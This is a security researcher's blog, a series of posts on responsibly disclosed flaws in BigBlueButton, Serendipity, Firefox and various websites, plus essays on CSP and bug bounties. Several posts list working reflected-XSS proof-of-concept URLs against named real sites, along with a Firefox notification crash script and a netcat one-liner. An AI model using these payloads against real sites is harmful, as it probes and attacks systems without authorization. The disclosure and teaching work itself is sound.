Hanno's blog

BigBlueButton is a free web-based video conferencing software that lately got quite popular, largely due to Covid-19. Earlier this year I did a brief check on its security which led to an article on Golem.de (German). I want to share the most significant findings here.

BigBlueButton has a feature that lets a presenter upload a presentation in a wide variety of file formats that gets then displayed in the web application. This looked like a huge attack surface. The conversion for many file formats is done with Libreoffice on the server. Looking for ways to exploit server-side Libreoffice rendering I found a blog post by Bret Buerhaus that discussed a number of ways of exploiting such setups.

One of the methods described there is a feature in Opendocument Text (ODT) files that allows embedding a file from an external URL in a text section. This can be a web URL like https or a file url and include a local file.

This directly worked in BigBlueButton. An ODT file that referenced a local file would display that local file. This allows displaying any file that the user running the BigBlueButton service could access on the server. A possible way to exploit this is to exfiltrate the configuration file that contains the API secret key, which then allows basically controlling the BigBlueButton instance. I have a video showing the exploit here. (I will publish the exploit later.)

I reported this to the developers of BigBlueButton in May. Unfortunately my experience with their security process was not very good. At first I did not get an answer at all. After another mail they told me they plan to sandbox the Libreoffice process either via a chroot or a docker container. However that still has not happened yet. It is planned for the upcoming version 2.3 and independent of this bug this is a good idea, as Libreoffice just creates a lot of attack surface.

Recently I looked a bit more into this. The functionality to include external files only happens after a manual user confirmation and if one uses Libreoffice on the command line it does not work at all by default. So in theory this exploit should not have worked, but it did.

It turned out the reason for this was another piece of software that BigBlueButton uses called JODConverter. It provides a wrapper around the conversion functionality of Libreoffice. After contacting both the Libreoffice security team and the developer of JODConverter we figured out that it enables including external URLs by default.

I forwarded this information to the BigBlueButton developers and it finally let to a fix, they now change the default settings of JODConverter manually. The JODConverter developer considers changing the default as well, but this has not happened yet. Other software or web pages using JODConverter for serverside file conversion may thus still be vulnerable.

The fix was included in version 2.2.27. Today I learned that the company RedTeam Pentesting has later independently found the same vulnerability. They also requested a CVE: It is now filed as CVE-2020-25820.

While this issue is fixed, the handling of security issues by BigBlueButton was not exactly stellar. It took around five months from my initial report to a fix. The release notes do not mention that this is an important security update (the change has the note “speed up the conversion”).

I found a bunch of other security issues in BigBlueButton and proposed some hardening changes. This took a lot of back and forth, but all significant issues are resolved now.

Another issue with the presentation upload was that it allowed cross site scripting, because it did not set a proper content type for downloads. This was independently discovered by another person and was fixed a while ago. (If you are interested in details about this class of vulnerabilities: I have given a talk about it at last year’s Security Fest.)

The session Cookies both from BigBlueButton itself and from its default web frontend Greenlight were not set with a secure flag, so the cookies could be transmitted in clear text over the network. This has also been changed now.

By default the BigBlueButton installation script starts several services that open ports that do not need to be publicly accessible. This is now also changed. A freeswitch service run locally was installed with a default password (“ClueCon”), this is now also changed to a random password by the installation script.

What also looks quite problematic is the use of outdated software. BigBlueButton only works on Ubuntu 16.04, which is a long term support version, so it still receives updates. But it also uses several external repositories, including one that installs NodeJS version 8 and shows a warning that this repository no longer receives security updates. There is an open bug in the bug tracker.

If you are using BigBlueButton I strongly recommend you update to at least version 2.2.27. This should fix all the issues I found. I would wish that the BigBlueButton developers improve their security process, react more timely to external reports and more transparent when issues are fixed.

Image Source: Wikimedia Commons / NOAA / Public Domain

Update: Proof of concept published.

HackerOne is currently one of the most popular bug bounty program platforms. While the usual providers of bug bounty programs are companies, w while ago I noted that some people were running bug bounty programs on Hacker One for their private projects without payouts. It made me curious, so I decided to start one with some of my private web pages in scope.

The HackerOne process requires programs to be private at first, starting with a limited number of invites. Soon after I started the program the first reports came in. Not surprisingly I got plenty of false positives, which I tried to limit by documenting the scope better in the program description. I also got plenty of web security scanner payloads via my contact form. But more to my surprise I also got a number of very high quality reports.

This blog and two other sites in scope use Serendipity (also called S9Y), a blog software written in PHP. Through the bug bounty program I got reports for an Open Redirect, an XSS in the start page, an XSS in the back end, an SQL injection in the back end and another SQL injection in the freetag plugin. All of those were legitimate vulnerabilities in Serendipity and some of them quite severe. I forwarded the reports to the Serendipity developers.

Fixes are available by now, the first round of fixes were released with Serendipity 2.1.3 and another issue got fixed in 2.1.4. The freetag plugin was updated to version 2.69. If you use Serendipity please make sure you run the latest versions.

I'm not always happy with the way the bug bounty platforms work, yet it seems they have attracted an active community of security researchers who are also willing to occasionally look at projects without financial reward. While it's questionable when large corporations run bug bounty programs without rewards, I think that it's totally fine for private projects and volunteer-run free and open source projects.

The conclusion I take from this is that likely more projects should try to make use of the bug bounty community. Essentially Serendipity got a free security audit and is more secure now. It got this through the indirection of my personal bug bounty program, but of course this could also work directly. Free software projects could start their own bug bounty program, and when it's about web applications ideally they should have have a live installation of their own product in scope.

In case you find some security issue with my web pages I welcome reports. And special thanks to Brian Carpenter (Geeknik), Julio Cesar and oreamnos for making my blog more secure.

I discovered a couple of more or less minor security issues in Firefox lately. None of them is particularly scary, but they affect interesting corner cases or unusual behavior. I'm posting this mainly hoping that other people will find it inspiring to think about unusual security issues and maybe also come up with more realistic attack scenarios for these bugs.

I'd like to point out that Mozilla hasn't fixed most of those issues, despite all of them being reported several months ago.

Bypassing XSA warning via FTP

XSA or Cross-Site Authentication is an interesting and not very well known attack. It's been discovered by Joachim Breitner in 2005.

Some web pages, mostly forums, allow users to include third party images. This can be abused by an attacker to steal other user's credentials. An attacker first posts something with an image from a server he controls. He then switches on HTTP authentication for that image. All visitors of the page will now see a login dialog on that page. They may be tempted to type in their login credentials into the HTTP authentication dialog, which seems to come from the page they trust.

The original XSA attack is, as said, quite old. As a countermeasure Firefox implements a warning in HTTP authentication dialogs that were created by a subresource like an image. However it only does that for HTTP, not for FTP.

So an attacker can run an FTP server and include an image from there. By then requiring an FTP login and logging all login attempts to the server he can gather credentials. The password dialog will show the host name of the attacker's FTP server, but he could choose one that looks close enough to the targeted web page to not raise suspicion.



I haven't found any popular site that allows embedding images from non-HTTP-protocols. The most popular page that allows embedding external images at all is Stack Overflow, but it only allows HTTPS. Generally embedding third party images is less common these days, most pages keep local copies if they embed external images.

This bug is yet unfixed.

Obviously one could fix it by showing the same warning for FTP that is shown for HTTP authentication. But I'd rather recommend to completely block authentication dialogs on third party content. This is also what Chrome is doing. Mozilla has been discussing this for several years with no result.

Firefox also has an open bug about disallowing FTP on subresources. This would obviously also fix this scenario.

Window-modal popup via FTP

In the early days of JavaScript web pages could annoy users with popups. Browsers have since changed the behavior of JavaScript popups. They are now tab-modal, which means they're not blocking the interaction with the whole browser, they're just part of one tab and will only block the interaction with the web page that created them.

So it is a goal of modern browsers to not allow web pages to create window-modal alerts that block the interaction with the whole browser. However I figured out FTP gives us a bypass of this restriction.

If Firefox receives some random garbage over an FTP connection that it cannot interpret as FTP commands it will open an alert window showing that garbage.



First we open up our fake "FTP-Server" that will simply send a message to all clients. We can just use netcat for this:

while true; do echo "Hello" | nc -l -p 21; done

Then we try to open a connection, e. g. by typing ftp://localhost in the address bar on the same system. Firefox will not show the alert immediately. However if we then click on the URL bar and press enter again it will show the alert window. I tried to replicate that behavior with JavaScript, which worked sometimes. I'm relatively sure this can be made reliable.

There are two problems here. One is that server controlled content is showed to the user without any interpretation. This alert window seems to be intended as some kind of error message. However it doesn't make a lot of sense like that. If at all it should probably be prefixed by some message like "the server sent an invalid command". But ultimately if the browser receives random garbage instead of protocol messages it's probably not wise to display that at all. The second problem is that FTP error messages probably should be tab-modal as well.

This bug is also yet unfixed.

FTP considered dangerous

FTP is an old protocol with many problems. Some consider the fact that browsers still support it a problem. I tend to agree, ideally FTP should simply be removed from modern browsers.

FTP in browsers is insecure by design. While TLS-enabled FTP exists browsers have never supported it. The FTP code is probably not well audited, as it's rarely used. And the fact that another protocol exists that can be used similarly to HTTP has the potential of surprises. For example I found it quite surprising to learn that it's possible to have unencrypted and unauthenticated FTP connections to hosts that enabled HSTS. (The lack of cookie support on FTP seems to avoid causing security issues, but it's still unexpected and feels dangerous.)

Self-XSS in bookmark manager export

The Firefox Bookmark manager allows exporting bookmarks to an HTML document. Before the current Firefox 57 it was possible to inject JavaScript into this exported HTML via the tags field.

I tried to come up with a plausible scenario where this could matter, however this turned out to be difficult. This would be a problematic behavior if there's a way for a web page to create such a bookmark. While it is possible to create a bookmark dialog with JavaScript, this doesn't allow us to prefill the tags field. Thus there is no way a web page can insert any content here.

One could come up with implausible social engineering scenarios (web page asks user to create a bookmark and insert some specific string into the tags field), but that seems very far fetched. A remotely plausible scenario would be a situation where a browser can be used by multiple people who are allowed to create bookmarks and the bookmarks are regularly exported and uploaded to a web page. However that also seems quite far fetched.

This was fixed in the latest Firefox release as CVE-2017-7840 and considered as low severity.

Crashing Firefox on Linux via notification API

The notification API allows browsers to send notification alerts that the operating system will show in small notification windows. A notification can contain a small message and an icon.

When playing this one of the very first things that came to my mind was to check what happens if one simply sends a very large icon. A user has to approve that a web page is allowed to use the notification API, however if he does the result is an immediate crash of the browser. This only "works" on Linux. The proof of concept is quite simple, we just embed a large black PNG via a data URI:

<script>Notification.requestPermission(function(status){
new Notification("",{icon: "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAE4gAABOIAQAAAAB147pmAAAL70lEQVR4Ae3BAQ0AAADCIPuntscHD" + "A".repeat(4043) + "yDjFUQABEK0vGQAAAABJRU5ErkJggg==",});
});</script>

I haven't fully tracked down what's causing this, but it seems that Firefox tries to send a message to the system's notification daemon with libnotify and if that's too large for the message size limit of dbus it will not properly handle the resulting error.

What I found quite frustrating is that when I reported it I learned that this was a duplicate of a bug that has already been reported more than a year ago. I feel having such a simple browser crash bug open for such a long time is not appropriate. It is still unfixed.

I recently started playing around with Content Security Policy (CSP). CSP is a very neat feature and a good example how to get IT security right.

The main reason CSP exists are cross site scripting vulnerabilities (XSS). Every time a malicious attacker is able to somehow inject JavaScript or other executable code into your webpage this is called an XSS. XSS vulnerabilities are amongst the most common vulnerabilities in web applications.

CSP fixes XSS for good

The approach to fix XSS in the past was to educate web developers that they need to filter or properly escape their input. The problem with this approach is that it doesn't work. Even large websites like Amazon or Ebay don't get this right. The problem, simply stated, is that there are just too many places in a complex web application to create XSS vulnerabilities. Fixing them one at a time doesn't scale.

CSP tries to fix this in a much more generic way: How can we prevent XSS from happening at all? The way to do this is that the web server is sending a header which defines where JavaScript and other content (images, objects etc.) is allowed to come from. If used correctly CSP can prevent XSS completely. The problem with CSP is that it's hard to add to an already existing project, because if you want CSP to be really secure you have to forbid inline JavaScript. That often requires large re-engineering of existing code. Preferrably CSP should be part of the development process right from the beginning. If you start a web project keep that in mind and educate your developers to use restrictive CSP before they write any code. Starting a new web page without CSP these days is irresponsible.

To play around with it I added a CSP header to my personal webpage. This was a simple target, because it's a very simple webpage. I'm essentially sure that my webpage is XSS free because it doesn't use any untrusted input, I mainly wanted to have an easy target to do some testing. I also tried to add CSP to this blog, but this turned out to be much more complicated.

For my personal webpage this is what I did (PHP code):
header("Content-Security-Policy:default-src 'none';img-src 'self';style-src 'self';report-uri /c/");

The default policy is to accept nothing. The only things I use on my webpage are images and stylesheets and they all are located on the same webspace as the webpage itself, so I allow these two things.

This is an extremely simple CSP policy. To give you an idea how a more realistic policy looks like this is the one from Github:
Content-Security-Policy: default-src *; script-src assets-cdn.github.com www.google-analytics.com collector-cdn.github.com; object-src assets-cdn.github.com; style-src 'self' 'unsafe-inline' 'unsafe-eval' assets-cdn.github.com; img-src 'self' data: assets-cdn.github.com identicons.github.com www.google-analytics.com collector.githubapp.com *.githubusercontent.com *.gravatar.com *.wp.com; media-src 'none'; frame-src 'self' render.githubusercontent.com gist.github.com www.youtube.com player.vimeo.com checkout.paypal.com; font-src assets-cdn.github.com; connect-src 'self' ghconduit.com:25035 live.github.com uploads.github.com s3.amazonaws.com

Reporting feature

You may have noticed in my CSP header line that there's a "report-uri" command at the end. The idea is that whenever a browser blocks something by CSP it is able to report this to the webpage owner. Why should we do this? Because we still want to fix XSS issues (there are browsers with little or no CSP support (I'm looking at you Internet Explorer) and we want to know if our policy breaks anything that is supposed to work. The way this works is that a json file with details is sent via a POST request to the URL given.

While this sounds really neat in theory, in practise I found it to be quite disappointing. As I said above I'm almost certain my webpage has no XSS issues, so I shouldn't get any reports at all. However I get lots of them and they are all false positives. The problem are browser extensions that execute things inside a webpage's context. Sometimes you can spot them (when source-file starts with "chrome-extension" or "safari-extension"), sometimes you can't (source-file will only say "data"). Sometimes this is triggered not by single extensions but by combinations of different ones (I found out that a combination of HTTPS everywhere and Adblock for Chrome triggered a CSP warning). I'm not sure how to handle this and if this is something that should be reported as a bug either to the browser vendors or the extension developers.

Conclusion

If you start a web project use CSP. If you have a web page that needs extra security use CSP (my bank doesn't - does yours?). CSP reporting is neat, but it's usefulness is limited due to too many false positives.

Then there's the bigger picture of IT security in general. Fixing single security bugs doesn't work. Why? XSS is as old as JavaScript (1995) and it's still a huge problem. An example for a simliar technology are prepared statements for SQL. If you use them you won't have SQL injections. SQL injections are the second most prevalent web security problem after XSS. By using CSP and prepared statements you eliminate the two biggest issues in web security. Sounds like a good idea to me.

Buffer overflows where first documented 1972 and they still are the source of many security issues. Fixing them for good is trickier but it is also possible.

I got some spam in the comment fields of my blog that raised my interest.

Some sample how they looked like:
http://www.unicef.org/voy/search/search.php?q=some+advertising%3Cscript%3Eparent%2elocation%2ereplace%28%22http%3A%2F%2Fgoogle%2ede22%29%3C%2Fscript%3E

I've replaced the forwarding URL and the advertising words (cause I don't want to raise interest on spammers pages). I got several similar spam comments the following days all with the same scheme. Using a Cross Site Scripting vulnerability, mostly on pages that might raise trust to forward to a medical selling page.

This is probably a good reason why XSS should be fixed, no matter what attack vectors there are. It can always be used by spammers to use your pages fame / authority to advertise their services. Same goes for redirectors or frame injections. Some where already reported at some public place (for the above see here). I've re-reported them all, but got just one reply by a webmaster who fixed it. True reality on the internet today, even webmasters of famous public organizations don't seem to care about internet security.

For the record, the others:
http://adventisthealth.org/utilities/search.asp?Yider=<script>alert(1)</script>
http://www.loc.gov/rr/ElectronicResources/search.php?search_term=<script>alert(1)</script>

And thanks to iconfactory, they fixed their XSS.

I want to give some thoughts about some more advanced XSS-issues based on two vulnerability announcements I recently made.

First is backend XSS. I think this hasn't been adressed very much, most probably all CMS have this issue. If you have a CMS-System (a blog is also a CMS system in this case) with multiple users, there are various ways where users can XSS each other. The most obvious one is that it's common practice that a CMS gives you some way to publish raw html content.

Assuming you have a blog where multiple users are allowed to write articles. Alice writes an article, Eve doesn't like the content of that article. Eve can now write another article with some JavaScript adjusted to steal Alice's cookie. As soon as Alice is logged in and watches the frontpage with Eve's article, her cookie get's stolen, Eve can hijack her account and manipulate her articles.

Solution is not that simple. To prevent the XSS, you'd have to make sure that there's absolutely no way to put raw html code on the page. Serendipity for example has a plugin called trustxss which should do exactly that, though there are many ways to circumvent that (at least all I found should be fixed in 1.3-beta1, see advisory here: CVE-2008-0124). All fields like username, user-information etc. need to be escaped and it should be the default that users aren't allowed to post html. If a superuser enables html-posting for another user, he should be warned about the security implications.

A quite different way would be separating front- and backend on different domains. I don't know of any popular CMS currently doing that, but it would prevent a lot of vulnerabilities: The website content is, e.g., located on www.mydomain.com, while the backend is on edit.mydomain.com. It would add complexity to the application setup, especially on shared hosting environments.


Second issue is XSS/CSRF in the installer. I'm not really sure how I should classify these, as an open installer most probably has more security implications than just XSS. I recently discovered an XSS in the installer of moodle (CVE-2008-0123) which made me think about this.

I thought of a (real) scenario where I was sitting in a room with a group, discussing that we need a webpage, we would take Domain somedomain.de and install some webapp (in this case MediaWiki, but there I found no such issues) there. I suddenly started implementing that with my laptop. Other people in the room hearing the discussion could send me links to trigger some kind of XSS/CSRF there. This probably isn't a very likely scenario, but still, I'd suggest to prevent XSS/CSRF also in the installer of web applications.

I recently stepped upon some XSS issues in Serendipity.

The first is in the remoterss-plugin, which can be used to display the content of an RSS feed in the sidebar of a blog. It didn't escape links, so JavaScript-Code could be injected by malicious RSS feeds. This plugin is shipped with the base version of S9Y. They've released 1.2.1 this weekend which has the fix.
If you're using the remoterss plugin, you should upgrade to 1.2.1 as soon as possible. This issue is named CVE-2007-6205.

The other one is in the external mycalendar-plugin. It also allows unescaped content inside links. This wouldn't be a real issue, as this form should only be accessible by the blog administrator. But the form had no CSRF (Cross-Site-Request-Forgery) protection, so an attacker could trigger this form and thus inject javascript on the blog-page. This has been fixed within version 0.13 of the plugin, so if you're using it, please upgrade. CVE-2007-6390 now assigned.

Beside I'd like to note that I got fast replies to my reports and the s9y devs fixed them quite quickly. Thanks for that!

One of the biggest threats in computer security today are web applications. There's a vast number of issues found in popular web apps, mostly cross site scripting, cross site request forgery and sql injection. For a long time I had the idea of a tool scanning through webroots and looking for popular web applications, comparing them with a database of their latest security issues. In the past weeks, I finaly managed to get some code done.

It's a quite simple python-script (don't cry about the source quality, I haven't done real coding for ages), together with a database of some popular applications. I'm looking forward to hear feedback. The usage is simple, just do something like this:
freewvs /home/joe/websites/foo /home/guest/websites/bar
Typical output looks like this:
WebsiteBaker 2.4.3 (2.6.5) CVE-2007-0527 /home/hanno/freewvs/test/websitebaker
Drupal 5.1 (5.3) CVE-2007-5416 /home/hanno/freewvs/test/drupal
PhpWebGallery 1.5.1 () CVE-2007-5012 /home/hanno/freewvs/test/phpwebgallery
Mostly self explaining. The found app at the beginning, the version where the issue was fixed in brackets, the CVE-ID (or some other vulnerability id, in doubt an URL) and the path.

The biggest work to do is probably to get more applications added to the database and to keep the database updated. It's format is pretty self-explaining, so I'm waiting for your patches.

Get it here: https://freewvs.schokokeks.org/

I thought I'd give you some more (all have been informed months ago):

http://thepiratebay.org/search/"><script>alert(1)</script>
http://www.gruene.de/cms/default/dok/144/144640.dokumentsuche.htm?execute=1&suche_voll_starten=1&volltext_suchbegriff="><script>alert(1)</script>
http://www.terions.de/index_whois.php?ddomain="><script>alert(1)</script>
http://www.eselfilme.com/newsletter/newsletter.php?action=sign&email="><script>alert(1)</script>
http://www.region-stuttgart.de/sixcms/rs_suche/?_suche="><script>alert(1)</script>
http://reports.internic.net/cgi/whois?whois_nic="><script>alert(1)</script>&type=domain

I still have some unresolved xss vulnerabilities around. It seems to be common practice by many web application developers and web designers to ignore such information.

This time we have gobi, a cms system based on the quite popular javascript application server helma.

http://int21.de/cve/CVE-2007-3693-gobi.txt

More to come. As this xss stuff is far too easy (try some common strings in web forms, inform the author, publish some weeks later), I think about doing some kind of automated mechanism to search and report those vulnerabilities.

Now, once another episode of cross site scripting disclosure. This time we have some free software web applications. Sadly, none of them was able to provide a fix in a decent timeframe.

CVE-2007-1871 XSS in chcounter
CVE-2007-1872 XSS in toendaCMS
CVE-2007-1873 XSS in mephisto

It's terrifying how many sites there are out there with XSS-issues.

http://www.netbeat.de/bestellen/domaincheck.html?<script>alert(1)</script>
http://www.netbeat.de/support/kommentare.html?name="><script>alert(1)</script>
http://www.symlink.ch/users.pl?unickname="><script>alert(1)</script>
http://www.stuttgart.de/sde/search.php?search=%22><script>alert%281%29</script>
http://www.holidayranking.de/search.html?searchSearchString="><script>alert(1)</script>
http://www.freecity.de/suche/index.phtml?gosearch=yes&words="><script>alert(1)</script>
http://search.netdoktor.com/results.html?qt="><script>alert(1)</script>&la=de
http://www.vfb.de/de/suche/index.php?words="><script>alert(1)</script>
http://www.dvd.de/dvd-and-date/alledvd.asp?strTxt="><script>alert(1)</script>

Note: All have been informed more than a week ago. I also had a bunch of others that got fixed after notification of the webmasters.

Napster and MPAA still unfixed.

Folgende Nachricht schrieb ich an den Support von Napster (das ist dieser DRM-Shop, hervorgegangen aus dem Label eines längst vergessenen Projekts):

Folgende, überaus kompetente Antwort erhielt ich:

Ich wusste doch immer dass die von der Filmindustrie das mit dem Internetz nicht verstanden haben:

Note: This is just a short form of a german article I posted today. E-Plus is a big german mobile telephony provider. I've found a bunch of XSS together with Alexander Brachmann (responsible disclosure, all reported to E-Plus before, probably more to come).

For my english visitors, here are the urls:
http://www.eplus.de/meta/shopsuche/suche_ausgabe.asp?suchwort="><script>alert(1)</script>
http://www.eplus.de/frame.asp?go=http://www.eplus.de/');alert(1);document.write('
http://www.eplus.de/frame.asp?go=');alert('

Already fixed ones:
http://www.eplus.de/frame.asp?go=http://www.google.de/
http://www.eplus.de/frame.asp?go=http://www.eplus.de@www.google.de
http://www.eplus.de/frame.asp?go=http://www.eplus.dedomain.com
http://www.eplus.de/frame.asp?go=http://www.eplus.de.mydomain.com